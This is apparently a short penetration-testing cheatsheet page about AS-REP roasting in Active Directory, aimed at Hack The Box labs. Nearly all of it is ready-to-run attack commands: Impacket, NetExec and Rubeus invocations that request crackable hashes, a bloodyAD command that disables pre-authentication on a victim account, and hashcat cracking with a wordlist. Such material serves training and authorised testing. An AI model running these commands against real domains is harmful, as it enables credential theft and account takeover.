Kerberoasting and AS-REP Roasting: crackable hashes from Active Directory 3 min read What makes an account vulnerable, how to request the tickets with Impacket, NetExec or Rubeus, how to crack them with hashcat, and the usual errors (clock, etype, usernames).

Commands

Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.

Your values Saved in this browser and applied to every cheatsheet.

Target IP Domain User Password

AS-REP roasting

impacket-GetNPUsers box.htb/ -usersfile usuarios.txt -no-pass -dc-ip 10.10.11.20 -format hashcat

Crack with hashcat -m 18200.

AS-REP roastable users (no pre-auth)

MATCH (u:User {dontreqpreauth:true}) RETURN u.name

AS-REP roasting Attacker

impacket-GetNPUsers box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -format hashcat -outputfile asrep.txt

hashcat -m 18200

Disable pre-authentication (targeted AS-REP roasting)

bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add uac victima -f DONT_REQ_PREAUTH

AS-REP roasting

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

AS-REP roasting

nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --asreproast asrep.txt

AS-REP roasting Target

.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

How it shows up on Hack The Box